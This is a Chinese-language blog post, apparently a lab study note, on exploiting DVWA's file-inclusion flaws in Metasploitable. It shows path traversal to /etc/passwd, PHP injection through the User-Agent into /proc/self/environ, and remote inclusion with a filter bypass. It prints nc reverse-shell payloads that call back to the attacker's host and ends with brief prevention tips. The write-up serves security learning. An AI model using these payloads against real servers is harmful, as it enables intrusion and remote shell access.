Metasploitable 學習筆記-DVWA LFI( Local File inclusion )/RFI (Remote File Inclusion)& Reverse Shell

這是一篇系列文,有關看一些不同的Metasploitable介紹與教學的練習紀錄

What is Local File Inclusion?

攻擊者可以使用LFI繞過Web應用程式與Web Server上公開或執行的文件。 LFI攻擊可能導致資訊洩露,利用 ../等看過Server上的目錄,並有可能執行惡意指令。

Low 與 Medium 等級

這次解File Inclusion 的練習

上面提示了 ?page=index有LFI的漏洞存在,並看一下程式碼語法可以執行我們給的參數指令。

http://192.168.40.135/dvwa/vulnerabilities/fi/?page=include.php

貌似有個include.php的頁面存在,將URL改成:

http://192.168.40.135/dvwa/vulnerabilities/fi/include.php

我們發現了一串路徑,這時候將這串路徑丟回去網址列,嘗試讀取Server上的其他檔案,例如etc/passwd

http://192.168.40.135/dvwa/vulnerabilities/fi/?page=/../../../../../etc/passwd

Linux上 ..代表回到上一層目錄,所以我們看URL有幾層就回到根目錄後再去讀取etc下的passwd檔案

成功讀取了passwrd

這邊Medium等級的用同樣手法依然可以讀取到etc/passwd

Reverse Shell

如同前幾篇用過的nc,這邊會用到以下幾個指令:

<?phpinfo();?>
<?passthru(“nc -e /bin/sh [yourIP] [yourPort]”); ?>

我們使用前面的手法找到了/proc/self/environ 這個路徑並執行一次,接著使用Burp攔截,並於User-Agent改成php的指令<?phpinfo();?>測試看看

/proc/self/environ內有這個Server存我們瀏覽器的一些資訊

這代表我們可以在/proc/self/environ下進行攻擊,我們試著使用Reverse shell的指令看看,需要先開啟nc後重新執行一次網頁並攔截封包。

<?passthru(“nc -e /bin/sh [yourIP] [yourPort]”); ?>

看到nc有了反應,嘗試ls後顯示目錄檔案,成功!

預防

可能造成危險的目錄:

  • /var/log/auth.log
  • /var/log/apache2/access.log
  • /proc/self/environ

什麼是RFI

Remote File Inclusion 的縮寫是 「RFI」,這是指駭客透過外部檔案,來攻擊 Web 系統。駭客可以先找一個網站空間,建立一個 PHP 的檔案,然後藉由輸入特殊的路徑,讓你的系統去載入這個 PHP,再透過 PHP Script 取得管理員的帳號; 密碼,或是會員資料。

成因是PHP的設定開啟了allow_url_include,我們會在Metasploitable下開啟這項設定

Metasploitable

回到Metasploitable下的 /etc/php5/cgi/php.ini 搜尋allow_url並找到include=改成on,這邊使用nano編輯器。

設定好後我們重啟這個網站apache2服務

寫一個Reverse

回到Kali後我們會需要起一個web服務

先重啟Kali的apaches

寫一段php reverse用的程式碼存檔成txt後放到var/www/html,程式主要是執行nc回到我們的Kali,記住程式碼的IP是我們Kali的主機IP

<?php

passthru(“nc -e /bin/sh 192.168.40.128 8888”)
?>

測試一下可以執行這段程式碼

先執行nc後回到Web上將Kali上的檔案網址貼回DVWA網址列上,把Page後面替換自己的檔案網址即可成功!

Medium 等級RFI

從程式碼可以看到過濾http、https替換成空白,所以我們可以替換一下成hTTp:

預防

  • 關閉allow_url_include和fopen
  • 低跟中等級時候傳給Get參數的命令都會被執行顯示出來,而High的語法只允許我們執行include.php,否則就會提示ERROR。

如果有興趣可以參考其他篇的筆記:

https://medium.com/blacksecurity/tagged/ctf
若您喜歡我的文章,歡迎按下「拍手」與Liker按讚給我支持並轉發給你的朋友們(可以多拍幾下手喔),或是「Follow」我,讓我提供文章給您。

Facebook 粉絲專頁 剛開始建立經營 不會洗版(沒有時間) !!包含資安與投資的資訊,歡迎追蹤我並分享。

--

--

業餘資安寫手,希望透過紀錄所學的知識來回饋於社群上,互相學習分享。另提供企業資安顧問服務,依照企業規模與需求評估企業網路安全設計、基礎資訊安全防禦規劃。contact@kuronetwork.me

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Kuro Huang

Kuro Huang

充滿熱情的資安從業者,喜歡用專業興趣交朋友而非透過商業關係建立友誼。目前於四大擔任資訊安全顧問,希望對資安社群盡一點心力,並期望自己與身旁的人能有所進步,歡迎喝咖啡聊資安。希望保持著定期參與資安社群活動。 LinkedIn好友、文章目錄與個人介紹請參考 :https://kuronetwork.me